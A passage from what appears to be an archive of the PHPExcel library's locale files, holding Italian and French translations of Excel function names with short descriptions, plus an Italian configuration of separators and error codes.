distribuzione t di Student TINV = INV.T ## Restituisce l'inversa della distribuzione t di Student TREND = TENDENZA ## Restituisce i valori lungo una linea di tendenza lineare TRIMMEAN = MEDIA.TRONCATA ## Restituisce la media della parte interna di un insieme di dati TTEST = TEST.T ## Restituisce la probabilità associata ad un test t di Student VAR = VAR ## Stima la varianza sulla base di un campione VARA = VAR.VALORI ## Stima la varianza sulla base di un campione, inclusi i numeri, il testo e i valori logici VARP = VAR.POP ## Calcola la varianza sulla base dell'intera popolazione VARPA = VAR.POP.VALORI ## Calcola la deviazione standard sulla base sull'intera popolazione, inclusi i numeri, il testo e i valori logici WEIBULL = WEIBULL ## Restituisce la distribuzione di Weibull ZTEST = TEST.Z ## Restituisce il valore di probabilità a una coda per un test z ## ## Text functions Funzioni di testo ## ASC = ASC ## Modifica le lettere inglesi o il katakana a doppio byte all'interno di una stringa di caratteri in caratteri a singolo byte BAHTTEXT = BAHTTESTO ## Converte un numero in testo, utilizzando il formato valuta ß (baht) CHAR = CODICE.CARATT ## Restituisce il carattere specificato dal numero di codice CLEAN = LIBERA ## Elimina dal testo tutti i caratteri che non è possibile stampare CODE = CODICE ## Restituisce il codice numerico del primo carattere di una stringa di testo CONCATENATE = CONCATENA ## Unisce diversi elementi di testo in un unico elemento di testo DOLLAR = VALUTA ## Converte un numero in testo, utilizzando il formato valuta € (euro) EXACT = IDENTICO ## Verifica se due valori di testo sono uguali FIND = TROVA ## Rileva un valore di testo all'interno di un altro (distinzione tra maiuscole e minuscole) FINDB = TROVA.B ## Rileva un valore di testo all'interno di un altro (distinzione tra maiuscole e minuscole) FIXED = FISSO ## Formatta un numero come testo con un numero fisso di decimali JIS = ORDINAMENTO.JIS ## Modifica le lettere inglesi o i caratteri katakana a byte singolo all'interno di una stringa di caratteri in caratteri a byte doppio. LEFT = SINISTRA ## Restituisce il carattere più a sinistra di un valore di testo LEFTB = SINISTRA.B ## Restituisce il carattere più a sinistra di un valore di testo LEN = LUNGHEZZA ## Restituisce il numero di caratteri di una stringa di testo LENB = LUNB ## Restituisce il numero di caratteri di una stringa di testo LOWER = MINUSC ## Converte il testo in lettere minuscole MID = MEDIA ## Restituisce un numero specifico di caratteri di una stringa di testo a partire dalla posizione specificata MIDB = MEDIA.B ## Restituisce un numero specifico di caratteri di una stringa di testo a partire dalla posizione specificata PHONETIC = FURIGANA ## Estrae i caratteri fonetici (furigana) da una stringa di testo. PROPER = MAIUSC.INIZ ## Converte in maiuscolo la prima lettera di ogni parola di un valore di testo REPLACE = RIMPIAZZA ## Sostituisce i caratteri all'interno di un testo REPLACEB = SOSTITUISCI.B ## Sostituisce i caratteri all'interno di un testo REPT = RIPETI ## Ripete un testo per un dato numero di volte RIGHT = DESTRA ## Restituisce il carattere più a destra di un valore di testo RIGHTB = DESTRA.B ## Restituisce il carattere più a destra di un valore di testo SEARCH = RICERCA ## Rileva un valore di testo all'interno di un altro (non è sensibile alle maiuscole e minuscole) SEARCHB = CERCA.B ## Rileva un valore di testo all'interno di un altro (non è sensibile alle maiuscole e minuscole) SUBSTITUTE = SOSTITUISCI ## Sostituisce il nuovo testo al testo contenuto in una stringa T = T ## Converte gli argomenti in testo TEXT = TESTO ## Formatta un numero e lo converte in testo TRIM = ANNULLA.SPAZI ## Elimina gli spazi dal testo UPPER = MAIUSC ## Converte il testo in lettere maiuscole VALUE = VALORE ## Converte un argomento di testo in numero PHPExcel/locale/it/config 0000644 00000002455 14642534110 0011225 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = € ## ## Excel Error Codes (For future use) ## NULL = #NULLO! DIV0 = #DIV/0! VALUE = #VALORE! REF = #RIF! NAME = #NOME? NUM = #NUM! NA = #N/D PHPExcel/locale/fr/functions 0000644 00000110342 14642534110 0011756 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Fonctions de complément et d’automatisation ## GETPIVOTDATA = LIREDONNEESTABCROISDYNAMIQUE ## Renvoie les données stockées dans un rapport de tableau croisé dynamique. ## ## Cube functions Fonctions Cube ## CUBEKPIMEMBER = MEMBREKPICUBE ## Renvoie un nom, une propriété et une mesure d’indicateur de performance clé et affiche le nom et la propriété dans la cellule. Un indicateur de performance clé est une mesure quantifiable, telle que la marge bénéficiaire brute mensuelle ou la rotation trimestrielle du personnel, utilisée pour évaluer les performances d’une entreprise. CUBEMEMBER = MEMBRECUBE ## Renvoie un membre ou un uplet dans une hiérarchie de cubes. Utilisez cette fonction pour valider l’existence du membre ou de l’uplet dans le cube. CUBEMEMBERPROPERTY = PROPRIETEMEMBRECUBE ## Renvoie la valeur d’une propriété de membre du cube. Utilisez cette fonction pour valider l’existence d’un nom de membre dans le cube et pour renvoyer la propriété spécifiée pour ce membre. CUBERANKEDMEMBER = RANGMEMBRECUBE ## Renvoie le nième membre ou le membre placé à un certain rang dans un ensemble. Utilisez cette fonction pour renvoyer un ou plusieurs éléments d’un ensemble, tels que les meilleurs vendeurs ou les 10 meilleurs étudiants. CUBESET = JEUCUBE ## Définit un ensemble calculé de membres ou d’uplets en envoyant une expression définie au cube sur le serveur qui crée l’ensemble et le renvoie à Microsoft Office Excel. CUBESETCOUNT = NBJEUCUBE ## Renvoie le nombre d’éléments dans un jeu. CUBEVALUE = VALEURCUBE ## Renvoie une valeur d’agrégation issue d’un cube. ## ## Database functions Fonctions de base de données ## DAVERAGE = BDMOYENNE ## Renvoie la moyenne des entrées de base de données sélectionnées. DCOUNT = BCOMPTE ## Compte le nombre de cellules d’une base de données qui contiennent des nombres. DCOUNTA = BDNBVAL ## Compte les cellules non vides d’une base de données. DGET = BDLIRE ## Extrait d’une base de données un enregistrement unique répondant aux critères spécifiés. DMAX = BDMAX ## Renvoie la valeur maximale des entrées de base de données sélectionnées. DMIN = BDMIN ## Renvoie la valeur minimale des entrées de base de données sélectionnées. DPRODUCT = BDPRODUIT ## Multiplie les valeurs d’un champ particulier des enregistrements d’une base de données, qui répondent aux critères spécifiés. DSTDEV = BDECARTYPE ## Calcule l’écart type pour un échantillon d’entrées de base de données sélectionnées. DSTDEVP = BDECARTYPEP ## Calcule l’écart type pour l’ensemble d’une population d’entrées de base de données sélectionnées. DSUM = BDSOMME ## Ajoute les nombres dans la colonne de champ des enregistrements de la base de données, qui répondent aux critères. DVAR = BDVAR ## Calcule la variance pour un échantillon d’entrées de base de données sélectionnées. DVARP = BDVARP ## Calcule la variance pour l’ensemble d’une population d’entrées de base de données sélectionnées. ## ## Date and time functions Fonctions de date et d’heure ## DATE = DATE ## Renvoie le numéro de série d’une date précise. DATEVALUE = DATEVAL ## Convertit une date représentée sous forme de texte en numéro de série. DAY = JOUR ## Convertit un numéro de série en jour du mois. DAYS360 = JOURS360 ## Calcule le nombre de jours qui séparent deux dates sur la base d’une année de 360 jours. EDATE = MOIS.DECALER ## Renvoie le numéro séquentiel de la date qui représente une date spécifiée (l’argument date_départ), corrigée en plus ou en moins du nombre de mois indiqué. EOMONTH = FIN.MOIS ## Renvoie le numéro séquentiel de la date du dernier jour du mois précédant ou suivant la date_départ du nombre de mois indiqué. HOUR = HEURE ## Convertit un numéro de série en heure. MINUTE = MINUTE ## Convertit un numéro de série en minute. MONTH = MOIS ## Convertit un numéro de série en mois. NETWORKDAYS = NB.JOURS.OUVRES ## Renvoie le nombre de jours ouvrés entiers compris entre deux dates. NOW = MAINTENANT ## Renvoie le numéro de série de la date et de l’heure du jour. SECOND = SECONDE ## Convertit un numéro de série en seconde. TIME = TEMPS ## Renvoie le numéro de série d’une heure précise. TIMEVALUE = TEMPSVAL ## Convertit une date représentée sous forme de texte en numéro de série. TODAY = AUJOURDHUI ## Renvoie le numéro de série de la date du jour. WEEKDAY = JOURSEM ## Convertit un numéro de série en jour de la semaine. WEEKNUM = NO.SEMAINE ## Convertit un numéro de série en un numéro représentant l’ordre de la semaine dans l’année. WORKDAY = SERIE.JOUR.OUVRE ## Renvoie le numéro de série de la date avant ou après le nombre de jours ouvrés spécifiés. YEAR = ANNEE ## Convertit un numéro de série en année. YEARFRAC = FRACTION.ANNEE ## Renvoie la fraction de l’année représentant le nombre de jours entre la date de début et la date de fin. ## ## Engineering functions Fonctions d’ingénierie ## BESSELI = BESSELI ## Renvoie la fonction Bessel modifiée In(x). BESSELJ = BESSELJ ## Renvoie la fonction Bessel Jn(x). BESSELK = BESSELK ## Renvoie la fonction Bessel modifiée Kn(x). BESSELY = BESSELY ## Renvoie la fonction Bessel Yn(x). BIN2DEC = BINDEC ## Convertit un nombre binaire en nombre décimal. BIN2HEX = BINHEX ## Convertit un nombre binaire en nombre hexadécimal. BIN2OCT = BINOCT ## Convertit un nombre binaire en nombre octal. COMPLEX = COMPLEXE ## Convertit des coefficients réel et imaginaire en un nombre complexe. CONVERT = CONVERT ## Convertit un nombre d’une unité de mesure à une autre. DEC2BIN = DECBIN ## Convertit un nombre décimal en nombre binaire. DEC2HEX = DECHEX ## Convertit un nombre décimal en nombre hexadécimal. DEC2OCT = DECOCT ## Convertit un nombre décimal en nombre octal. DELTA = DELTA ## Teste l’égalité de deux nombres. ERF = ERF ## Renvoie la valeur de la fonction d’erreur. ERFC = ERFC ## Renvoie la valeur de la fonction d’erreur complémentaire. GESTEP = SUP.SEUIL ## Teste si un nombre est supérieur à une valeur de seuil. HEX2BIN = HEXBIN ## Convertit un nombre hexadécimal en nombre binaire. HEX2DEC = HEXDEC ## Convertit un nombre hexadécimal en nombre décimal. HEX2OCT = HEXOCT ## Convertit un nombre hexadécimal en nombre octal. IMABS = COMPLEXE.MODULE ## Renvoie la valeur absolue (module) d’un nombre complexe. IMAGINARY = COMPLEXE.IMAGINAIRE ## Renvoie le coefficient imaginaire d’un nombre complexe. IMARGUMENT = COMPLEXE.ARGUMENT ## Renvoie l’argument thêta, un angle exprimé en radians. IMCONJUGATE = COMPLEXE.CONJUGUE ## Renvoie le nombre complexe conjugué d’un nombre complexe. IMCOS = IMCOS ## Renvoie le cosinus d’un nombre complexe. IMDIV = COMPLEXE.DIV ## Renvoie le quotient de deux nombres complexes. IMEXP = COMPLEXE.EXP ## Renvoie la fonction exponentielle d’un nombre complexe. IMLN = COMPLEXE.LN ## Renvoie le logarithme népérien d’un nombre complexe. IMLOG10 = COMPLEXE.LOG10 ## Calcule le logarithme en base 10 d’un nombre complexe. IMLOG2 = COMPLEXE.LOG2 ## Calcule le logarithme en base 2 d’un nombre complexe. IMPOWER = COMPLEXE.PUISSANCE ## Renvoie un nombre complexe élevé à une puissance entière. IMPRODUCT = COMPLEXE.PRODUIT ## Renvoie le produit de plusieurs nombres complexes. IMREAL = COMPLEXE.REEL ## Renvoie le coefficient réel d’un nombre complexe. IMSIN = COMPLEXE.SIN ## Renvoie le sinus d’un nombre complexe. IMSQRT = COMPLEXE.RACINE ## Renvoie la racine carrée d’un nombre complexe. IMSUB = COMPLEXE.DIFFERENCE ## Renvoie la différence entre deux nombres complexes. IMSUM = COMPLEXE.SOMME ## Renvoie la somme de plusieurs nombres complexes. OCT2BIN = OCTBIN ## Convertit un nombre octal en nombre binaire. OCT2DEC = OCTDEC ## Convertit un nombre octal en nombre décimal. OCT2HEX = OCTHEX ## Convertit un nombre octal en nombre hexadécimal. ## ## Financial functions Fonctions financières ## ACCRINT = INTERET.ACC ## Renvoie l’intérêt couru non échu d’un titre dont l’intérêt est perçu périodiquement. ACCRINTM = INTERET.ACC.MAT ## Renvoie l’intérêt couru non échu d’un titre dont l’intérêt est perçu à l’échéance. AMORDEGRC = AMORDEGRC ## Renvoie l’amortissement correspondant à chaque période comptable en utilisant un coefficient d’amortissement. AMORLINC = AMORLINC ## Renvoie l’amortissement d’un bien à la fin d’une période fiscale donnée. COUPDAYBS = NB.JOURS.COUPON.PREC ## Renvoie le nombre de jours entre le début de la période de coupon et la date de liquidation. COUPDAYS = NB.JOURS.COUPONS ## Renvoie le nombre de jours pour la période du coupon contenant la date de liquidation. COUPDAYSNC = NB.JOURS.COUPON.SUIV ## Renvoie le nombre de jours entre la date de liquidation et la date du coupon suivant la date de liquidation. COUPNCD = DATE.COUPON.SUIV ## Renvoie la première date de coupon ultérieure à la date de règlement. COUPNUM = NB.COUPONS ## Renvoie le nombre de coupons dus entre la date de règlement et la date d’échéance. COUPPCD = DATE.COUPON.PREC ## Renvoie la date de coupon précédant la date de règlement. CUMIPMT = CUMUL.INTER ## Renvoie l’intérêt cumulé payé sur un emprunt entre deux périodes. CUMPRINC = CUMUL.PRINCPER ## Renvoie le montant cumulé des remboursements du capital d’un emprunt effectués entre deux périodes. DB = DB ## Renvoie l’amortissement d’un bien pour une période spécifiée en utilisant la méthode de l’amortissement dégressif à taux fixe. DDB = DDB ## Renvoie l’amortissement d’un bien pour toute période spécifiée, en utilisant la méthode de l’amortissement dégressif à taux double ou selon un coefficient à spécifier. DISC = TAUX.ESCOMPTE ## Calcule le taux d’escompte d’une transaction. DOLLARDE = PRIX.DEC ## Convertit un prix en euros, exprimé sous forme de fraction, en un prix en euros exprimé sous forme de nombre décimal. DOLLARFR = PRIX.FRAC ## Convertit un prix en euros, exprimé sous forme de nombre décimal, en un prix en euros exprimé sous forme de fraction. DURATION = DUREE ## Renvoie la durée, en années, d’un titre dont l’intérêt est perçu périodiquement. EFFECT = TAUX.EFFECTIF ## Renvoie le taux d’intérêt annuel effectif. FV = VC ## Renvoie la valeur future d’un investissement. FVSCHEDULE = VC.PAIEMENTS ## Calcule la valeur future d’un investissement en appliquant une série de taux d’intérêt composites. INTRATE = TAUX.INTERET ## Affiche le taux d’intérêt d’un titre totalement investi. IPMT = INTPER ## Calcule le montant des intérêts d’un investissement pour une période donnée. IRR = TRI ## Calcule le taux de rentabilité interne d’un investissement pour une succession de trésoreries. ISPMT = ISPMT ## Calcule le montant des intérêts d’un investissement pour une période donnée. MDURATION = DUREE.MODIFIEE ## Renvoie la durée de Macauley modifiée pour un titre ayant une valeur nominale hypothétique de 100_euros. MIRR = TRIM ## Calcule le taux de rentabilité interne lorsque les paiements positifs et négatifs sont financés à des taux différents. NOMINAL = TAUX.NOMINAL ## Calcule le taux d’intérêt nominal annuel. NPER = NPM ## Renvoie le nombre de versements nécessaires pour rembourser un emprunt. NPV = VAN ## Calcule la valeur actuelle nette d’un investissement basé sur une série de décaissements et un taux d’escompte. ODDFPRICE = PRIX.PCOUPON.IRREG ## Renvoie le prix par tranche de valeur nominale de 100 euros d’un titre dont la première période de coupon est irrégulière. ODDFYIELD = REND.PCOUPON.IRREG ## Renvoie le taux de rendement d’un titre dont la première période de coupon est irrégulière. ODDLPRICE = PRIX.DCOUPON.IRREG ## Renvoie le prix par tranche de valeur nominale de 100 euros d’un titre dont la première période de coupon est irrégulière. ODDLYIELD = REND.DCOUPON.IRREG ## Renvoie le taux de rendement d’un titre dont la dernière période de coupon est irrégulière. PMT = VPM ## Calcule le paiement périodique d’un investissement donné. PPMT = PRINCPER ## Calcule, pour une période donnée, la part de remboursement du principal d’un investissement. PRICE = PRIX.TITRE ## Renvoie le prix d’un titre rapportant des intérêts périodiques, pour une valeur nominale de 100 euros. PRICEDISC = VALEUR.ENCAISSEMENT ## Renvoie la valeur d’encaissement d’un escompte commercial, pour une valeur nominale de 100 euros. PRICEMAT = PRIX.TITRE.ECHEANCE ## Renvoie le prix d’un titre dont la valeur nominale est 100 euros et qui rapporte des intérêts à l’échéance. PV = PV ## Calcule la valeur actuelle d’un investissement. RATE = TAUX ## Calcule le taux d’intérêt par période pour une annuité. RECEIVED = VALEUR.NOMINALE ## Renvoie la valeur nominale à échéance d’un effet de commerce. SLN = AMORLIN ## Calcule l’amortissement linéaire d’un bien pour une période donnée. SYD = SYD ## Calcule l’amortissement d’un bien pour une période donnée sur la base de la méthode américaine Sum-of-Years Digits (amortissement dégressif à taux décroissant appliqué à une valeur constante). TBILLEQ = TAUX.ESCOMPTE.R ## Renvoie le taux d’escompte rationnel d’un bon du Trésor. TBILLPRICE = PRIX.BON.TRESOR ## Renvoie le prix d’un bon du Trésor d’une valeur nominale de 100 euros. TBILLYIELD = RENDEMENT.BON.TRESOR ## Calcule le taux de rendement d’un bon du Trésor. VDB = VDB ## Renvoie l’amortissement d’un bien pour une période spécifiée ou partielle en utilisant une méthode de l’amortissement dégressif à taux fixe. XIRR = TRI.PAIEMENTS ## Calcule le taux de rentabilité interne d’un ensemble de paiements non périodiques. XNPV = VAN.PAIEMENTS ## Renvoie la valeur actuelle nette d’un ensemble de paiements non périodiques. YIELD = RENDEMENT.TITRE ## Calcule le rendement d’un titre rapportant des intérêts périodiquement. YIELDDISC = RENDEMENT.SIMPLE ## Calcule le taux de rendement d’un emprunt à intérêt simple (par exemple, un bon du Trésor). YIELDMAT = RENDEMENT.TITRE.ECHEANCE ## Renvoie le rendement annuel d’un titre qui rapporte des intérêts à l’échéance. ## ## Information functions Fonctions d’information ## CELL = CELLULE ## Renvoie des informations sur la mise en forme, l’emplacement et le contenu d’une cellule. ERROR.TYPE = TYPE.ERREUR ## Renvoie un nombre correspondant à un type d’erreur. INFO = INFORMATIONS ## Renvoie des informations sur l’environnement d’exploitation actuel. ISBLANK = ESTVIDE ## Renvoie VRAI si l’argument valeur est vide. ISERR = ESTERR ## Renvoie VRAI si l’argument valeur fait référence à une valeur d’erreur, sauf #N/A. ISERROR = ESTERREUR ## Renvoie VRAI si l’argument valeur fait référence à une valeur d’erreur. ISEVEN = EST.PAIR ## Renvoie VRAI si le chiffre est pair. ISLOGICAL = ESTLOGIQUE ## Renvoie VRAI si l’argument valeur fait référence à une valeur logique. ISNA = ESTNA ## Renvoie VRAI si l’argument valeur fait référence à la valeur d’erreur #N/A. ISNONTEXT = ESTNONTEXTE ## Renvoie VRAI si l’argument valeur ne se présente pas sous forme de texte. ISNUMBER = ESTNUM ## Renvoie VRAI si l’argument valeur représente un nombre. ISODD = EST.IMPAIR ## Renvoie VRAI si le chiffre est impair. ISREF = ESTREF ## Renvoie VRAI si l’argument valeur est une référence. ISTEXT = ESTTEXTE ## Renvoie VRAI si l’argument valeur se présente sous forme de texte. N = N ## Renvoie une valeur convertie en nombre. NA = NA ## Renvoie la valeur d’erreur #N/A. TYPE = TYPE ## Renvoie un nombre indiquant le type de données d’une valeur. ## ## Logical functions Fonctions logiques ## AND = ET ## Renvoie VRAI si tous ses arguments sont VRAI. FALSE = FAUX ## Renvoie la valeur logique FAUX. IF = SI ## Spécifie un test logique à effectuer. IFERROR = SIERREUR ## Renvoie une valeur que vous spécifiez si une formule génère une erreur ; sinon, elle renvoie le résultat de la formule. NOT = NON ## Inverse la logique de cet argument. OR = OU ## Renvoie VRAI si un des arguments est VRAI. TRUE = VRAI ## Renvoie la valeur logique VRAI. ## ## Lookup and reference functions Fonctions de recherche et de référence ## ADDRESS = ADRESSE ## Renvoie une référence sous forme de texte à une seule cellule d’une feuille de calcul. AREAS = ZONES ## Renvoie le nombre de zones dans une référence. CHOOSE = CHOISIR ## Choisit une valeur dans une liste. COLUMN = COLONNE ## Renvoie le numéro de colonne d’une référence. COLUMNS = COLONNES ## Renvoie le nombre de colonnes dans une référence. HLOOKUP = RECHERCHEH ## Effectue une recherche dans la première ligne d’une matrice et renvoie la valeur de la cellule indiquée. HYPERLINK = LIEN_HYPERTEXTE ## Crée un raccourci ou un renvoi qui ouvre un document stocké sur un serveur réseau, sur un réseau Intranet ou sur Internet. INDEX = INDEX ## Utilise un index pour choisir une valeur provenant d’une référence ou d’une matrice. INDIRECT = INDIRECT ## Renvoie une référence indiquée par une valeur de texte. LOOKUP = RECHERCHE ## Recherche des valeurs dans un vecteur ou une matrice. MATCH = EQUIV ## Recherche des valeurs dans une référence ou une matrice. OFFSET = DECALER ## Renvoie une référence décalée par rapport à une référence donnée. ROW = LIGNE ## Renvoie le numéro de ligne d’une référence. ROWS = LIGNES ## Renvoie le nombre de lignes dans une référence. RTD = RTD ## Extrait les données en temps réel à partir d’un programme prenant en charge l’automation COM (Automation : utilisation des objets d'une application à partir d'une autre application ou d'un autre outil de développement. Autrefois appelée OLE Automation, Automation est une norme industrielle et une fonctionnalité du modèle d'objet COM (Component Object Model).). TRANSPOSE = TRANSPOSE ## Renvoie la transposition d’une matrice. VLOOKUP = RECHERCHEV ## Effectue une recherche dans la première colonne d’une matrice et se déplace sur la ligne pour renvoyer la valeur d’une cellule. ## ## Math and trigonometry functions Fonctions mathématiques et trigonométriques ## ABS = ABS ## Renvoie la valeur absolue d’un nombre. ACOS = ACOS ## Renvoie l’arccosinus d’un nombre. ACOSH = ACOSH ## Renvoie le cosinus hyperbolique inverse d’un nombre. ASIN = ASIN ## Renvoie l’arcsinus d’un nombre. ASINH = ASINH ## Renvoie le sinus hyperbolique inverse d’un nombre. ATAN = ATAN ## Renvoie l’arctangente d’un nombre. ATAN2 = ATAN2 ## Renvoie l’arctangente des coordonnées x et y. ATANH = ATANH ## Renvoie la tangente hyperbolique inverse d’un nombre. CEILING = PLAFOND ## Arrondit un nombre au nombre entier le plus proche ou au multiple le plus proche de l’argument précision en s’éloignant de zéro. COMBIN = COMBIN ## Renvoie le nombre de combinaisons que l’on peut former avec un nombre donné d’objets. COS = COS ## Renvoie le cosinus d’un nombre. COSH = COSH ## Renvoie le cosinus hyperbolique d’un nombre. DEGREES = DEGRES ## Convertit des radians en degrés. EVEN = PAIR ## Arrondit un nombre au nombre entier pair le plus proche en s’éloignant de zéro. EXP = EXP ## Renvoie e élevé à la puissance d’un nombre donné. FACT = FACT ## Renvoie la factorielle d’un nombre. FACTDOUBLE = FACTDOUBLE ## Renvoie la factorielle double d’un nombre. FLOOR = PLANCHER ## Arrondit un nombre en tendant vers 0 (zéro). GCD = PGCD ## Renvoie le plus grand commun diviseur. INT = ENT ## Arrondit un nombre à l’entier immédiatement inférieur. LCM = PPCM ## Renvoie le plus petit commun multiple. LN = LN ## Renvoie le logarithme népérien d’un nombre. LOG = LOG ## Renvoie le logarithme d’un nombre dans la base spécifiée. LOG10 = LOG10 ## Calcule le logarithme en base 10 d’un nombre. MDETERM = DETERMAT ## Renvoie le déterminant d’une matrice. MINVERSE = INVERSEMAT ## Renvoie la matrice inverse d’une matrice. MMULT = PRODUITMAT ## Renvoie le produit de deux matrices. MOD = MOD ## Renvoie le reste d’une division. MROUND = ARRONDI.AU.MULTIPLE ## Donne l’arrondi d’un nombre au multiple spécifié. MULTINOMIAL = MULTINOMIALE ## Calcule la multinomiale d’un ensemble de nombres. ODD = IMPAIR ## Renvoie le nombre, arrondi à la valeur du nombre entier impair le plus proche en s’éloignant de zéro. PI = PI ## Renvoie la valeur de pi. POWER = PUISSANCE ## Renvoie la valeur du nombre élevé à une puissance. PRODUCT = PRODUIT ## Multiplie ses arguments. QUOTIENT = QUOTIENT ## Renvoie la partie entière du résultat d’une division. RADIANS = RADIANS ## Convertit des degrés en radians. RAND = ALEA ## Renvoie un nombre aléatoire compris entre 0 et 1. RANDBETWEEN = ALEA.ENTRE.BORNES ## Renvoie un nombre aléatoire entre les nombres que vous spécifiez. ROMAN = ROMAIN ## Convertit des chiffres arabes en chiffres romains, sous forme de texte. ROUND = ARRONDI ## Arrondit un nombre au nombre de chiffres indiqué. ROUNDDOWN = ARRONDI.INF ## Arrondit un nombre en tendant vers 0 (zéro). ROUNDUP = ARRONDI.SUP ## Arrondit un nombre à l’entier supérieur, en s’éloignant de zéro. SERIESSUM = SOMME.SERIES ## Renvoie la somme d’une série géométrique en s’appuyant sur la formule suivante : SIGN = SIGNE ## Renvoie le signe d’un nombre. SIN = SIN ## Renvoie le sinus d’un angle donné. SINH = SINH ## Renvoie le sinus hyperbolique d’un nombre. SQRT = RACINE ## Renvoie la racine carrée d’un nombre. SQRTPI = RACINE.PI ## Renvoie la racine carrée de (nombre * pi). SUBTOTAL = SOUS.TOTAL ## Renvoie un sous-total dans une liste ou une base de données. SUM = SOMME ## Calcule la somme de ses arguments. SUMIF = SOMME.SI ## Additionne les cellules spécifiées si elles répondent à un critère donné. SUMIFS = SOMME.SI.ENS ## Ajoute les cellules d’une plage qui répondent à plusieurs critères. SUMPRODUCT = SOMMEPROD ## Multiplie les valeurs correspondantes des matrices spécifiées et calcule la somme de ces produits. SUMSQ = SOMME.CARRES ## Renvoie la somme des carrés des arguments. SUMX2MY2 = SOMME.X2MY2 ## Renvoie la somme de la différence des carrés des valeurs correspondantes de deux matrices. SUMX2PY2 = SOMME.X2PY2 ## Renvoie la somme de la somme des carrés des valeurs correspondantes de deux matrices. SUMXMY2 = SOMME.XMY2 ## Renvoie la somme des carrés des différences entre les valeurs correspondantes de deux matrices. TAN = TAN ## Renvoie la tangente d’un nombre. TANH = TANH ## Renvoie la tangente hyperbolique d’un nombre. TRUNC = TRONQUE ## Renvoie la partie entière d’un nombre. ## ## Statistical functions Fonctions statistiques ## AVEDEV = ECART.MOYEN ## Renvoie la moyenne des écarts absolus observés dans la moyenne des points de données. AVERAGE = MOYENNE ## Renvoie la moyenne de ses arguments. AVERAGEA = AVERAGEA ## Renvoie la moyenne de ses arguments, nombres, texte et valeurs logiques inclus. AVERAGEIF = MOYENNE.SI ## Renvoie la moyenne (arithmétique) de toutes les cellules d’une plage qui répondent à des critères donnés. AVERAGEIFS = MOYENNE.SI.ENS ## Renvoie la moyenne (arithmétique) de toutes les cellules qui répondent à plusieurs critères. BETADIST = LOI.BETA ## Renvoie la fonction de distribution cumulée. BETAINV = BETA.INVERSE ## Renvoie l’inverse de la fonction de distribution cumulée pour une distribution bêta spécifiée. BINOMDIST = LOI.BINOMIALE ## Renvoie la probabilité d’une variable aléatoire discrète suivant la loi binomiale. CHIDIST = LOI.KHIDEUX ## Renvoie la probabilité unilatérale de la distribution khi-deux. CHIINV = KHIDEUX.INVERSE ## Renvoie l’inverse de la probabilité unilatérale de la distribution khi-deux. CHITEST = TEST.KHIDEUX ## Renvoie le test d’indépendance. CONFIDENCE = INTERVALLE.CONFIANCE ## Renvoie l’intervalle de confiance pour une moyenne de population. CORREL = COEFFICIENT.CORRELATION ## Renvoie le coefficient de corrélation entre deux séries de données. COUNT = NB ## Détermine les nombres compris dans la liste des arguments. COUNTA = NBVAL ## Détermine le nombre de valeurs comprises dans la liste des arguments. COUNTBLANK = NB.VIDE ## Compte le nombre de cellules vides dans une plage. COUNTIF = NB.SI ## Compte le nombre de cellules qui répondent à un critère donné dans une plage. COUNTIFS = NB.SI.ENS ## Compte le nombre de cellules à l’intérieur d’une plage qui répondent à plusieurs critères. COVAR = COVARIANCE ## Renvoie la covariance, moyenne des produits des écarts pour chaque série d’observations. CRITBINOM = CRITERE.LOI.BINOMIALE ## Renvoie la plus petite valeur pour laquelle la distribution binomiale cumulée est inférieure ou égale à une valeur de critère. DEVSQ = SOMME.CARRES.ECARTS ## Renvoie la somme des carrés des écarts. EXPONDIST = LOI.EXPONENTIELLE ## Renvoie la distribution exponentielle. FDIST = LOI.F ## Renvoie la distribution de probabilité F. FINV = INVERSE.LOI.F ## Renvoie l’inverse de la distribution de probabilité F. FISHER = FISHER ## Renvoie la transformation de Fisher. FISHERINV = FISHER.INVERSE ## Renvoie l’inverse de la transformation de Fisher. FORECAST = PREVISION ## Calcule une valeur par rapport à une tendance linéaire. FREQUENCY = FREQUENCE ## Calcule la fréquence d’apparition des valeurs dans une plage de valeurs, puis renvoie des nombres sous forme de matrice verticale. FTEST = TEST.F ## Renvoie le résultat d’un test F. GAMMADIST = LOI.GAMMA ## Renvoie la probabilité d’une variable aléatoire suivant une loi Gamma. GAMMAINV = LOI.GAMMA.INVERSE ## Renvoie, pour une probabilité donnée, la valeur d’une variable aléatoire suivant une loi Gamma. GAMMALN = LNGAMMA ## Renvoie le logarithme népérien de la fonction Gamma, G(x) GEOMEAN = MOYENNE.GEOMETRIQUE ## Renvoie la moyenne géométrique. GROWTH = CROISSANCE ## Calcule des valeurs par rapport à une tendance exponentielle. HARMEAN = MOYENNE.HARMONIQUE ## Renvoie la moyenne harmonique. HYPGEOMDIST = LOI.HYPERGEOMETRIQUE ## Renvoie la probabilité d’une variable aléatoire discrète suivant une loi 